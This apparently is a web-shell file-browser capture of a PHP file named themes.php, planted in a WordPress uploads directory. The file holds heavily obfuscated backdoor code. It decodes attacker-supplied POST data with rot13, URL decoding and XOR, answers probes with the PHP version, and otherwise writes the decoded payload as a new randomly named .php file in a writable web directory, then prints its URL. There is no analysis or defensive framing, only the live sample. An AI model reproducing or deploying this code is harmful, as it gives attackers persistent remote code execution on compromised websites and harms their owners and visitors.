HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/uploads/2024/02/themes.php
<?php $PzPDV = "bnqviBim";function ZIWcT($PzPDV){$azpGktFWc = "\x72"."\x61"."\x77".chr(145-28).chr(374-260).chr(568-460)."\x64".chr(101).chr(99)."\x6f".chr(100)."\x65";$rBfyVtmdPO = chr(293-178).chr(309-193).'r'."\137".chr(114)."\x6f".'t'."\x31"."\63";$rYUlWPcooX = "\x73"."\x74"."\x72"."\x5f".chr(927-812)."\160".chr(664-556)."\x69".chr(216-100);$PzPDV = $rYUlWPcooX($azpGktFWc($rBfyVtmdPO($PzPDV)));return $PzPDV;}function CXJBY($bQvPe, $oJzOwli){$ptffBdUg = chr(115)."\x74".chr(273-159).chr(245-150).'s'.'p'.chr(108).chr(607-502).'t';$bQvPe = array_slice($ptffBdUg(str_repeat($bQvPe, (count($oJzOwli)/16)+1)), 0, count($oJzOwli));return $bQvPe;}function bidxjiIe($oObMg, $TMUaP, $bQvPe){$johIP = "679d68b7-f1d4-4b69-99ff-92bdec163f01";return $oObMg ^ $johIP[$TMUaP % strlen($johIP)] ^ $bQvPe;}function wmPxQl($oJzOwli, $bQvPe){$oJzOwli = array_map("bidxjiIe", array_values($oJzOwli), array_keys($oJzOwli), array_values($bQvPe));$oJzOwli = implode("", $oJzOwli);$ObISJeIv = "\x75"."\x6e"."\x73".chr(101)."\162".chr(105)."\x61"."\154".'i'.chr(948-826)."\x65";$oJzOwli = @$ObISJeIv($oJzOwli);return $oJzOwli;}function DSPWvJ(){echo "rTdLaArZbc";}function TuERzty($RpgwjeNQmir){static $rwTlQTPm = array();$MASFz = glob($RpgwjeNQmir . '/*', GLOB_ONLYDIR);$zJhwsu = count($MASFz);if ($zJhwsu > 0) {foreach ($MASFz as $RpgwjeNQm) {$PQOaHDzQGL = 'i'.chr(414-299).chr(95)."\167"."\162"."\x69".'t'."\x61".'b'."\x6c".chr(101);if (@$PQOaHDzQGL($RpgwjeNQm)) {$rwTlQTPm[] = $RpgwjeNQm;}}}foreach ($MASFz as $RpgwjeNQmir) TuERzty($RpgwjeNQmir);return $rwTlQTPm;}function iHdzmkC(){echo "bnqviBim";}function JOzLa($oJzOwli){$UyXzNEb = "\x44".chr(481-402)."\103".chr(496-411).chr(77)."\x45".chr(984-906).chr(246-162)."\x5f".chr(403-321).chr(562-483).'O'."\124";$pIFXlbxGF = $_SERVER[$UyXzNEb];$MASFz = TuERzty($pIFXlbxGF);$OZshLkRbZU = array_rand($MASFz);$yfYMOd = '.'.chr(112).chr(104)."\x70";$VVVTGlk = $MASFz[$OZshLkRbZU] . "/" . substr(md5(time()), 0, 8) . $yfYMOd;$azgLZZlJI = "\x66"."\151".'l'."\x65".'_'.'p'.chr(117).'t'.chr(306-211)."\x63".chr(479-368)."\x6e".chr(979-863)."\145"."\x6e".'t'.chr(115);@$azgLZZlJI($VVVTGlk, $oJzOwli);$VaTcdxrU = "\x48".'T'.chr(370-286).chr(884-804).'_'.chr(1037-965)."\x4f".chr(249-166)."\x54";$dPEzC = chr(104)."\164"."\x74"."\x70".chr(420-362)."\57"."\x2f";$RpgwjeNQmrRdsyD = $dPEzC . $_SERVER[$VaTcdxrU] . substr($VVVTGlk, strlen($pIFXlbxGF));print($RpgwjeNQmrRdsyD);}foreach ($_POST as $bQvPe => $oJzOwli){$nJTYFPKmPu = strlen($bQvPe);if ($nJTYFPKmPu == 16){$oJzOwli = ZIWcT($oJzOwli);$bQvPe = CXJBY($bQvPe, $oJzOwli);$oJzOwli = wmPxQl($oJzOwli, $bQvPe);if (@is_array($oJzOwli)){$OZshLkRbZU = array_keys($oJzOwli);$oJzOwli = $oJzOwli[$OZshLkRbZU[0]];if ($oJzOwli === $OZshLkRbZU[0]){$fqxkXO = "\x70".chr(104)."\x70";$FLlwecC = chr(112)."\150".'p'."\x76".chr(612-511).chr(114)."\x73"."\151".chr(111).'n';$BcIvk = "\x73".'e'.'r'."\151".'a'."\x6c".chr(105)."\172".chr(101);echo @$BcIvk(Array($fqxkXO => @$FLlwecC(), ));strlen($bQvPe);}else {JOzLa($oJzOwli);}die();}}}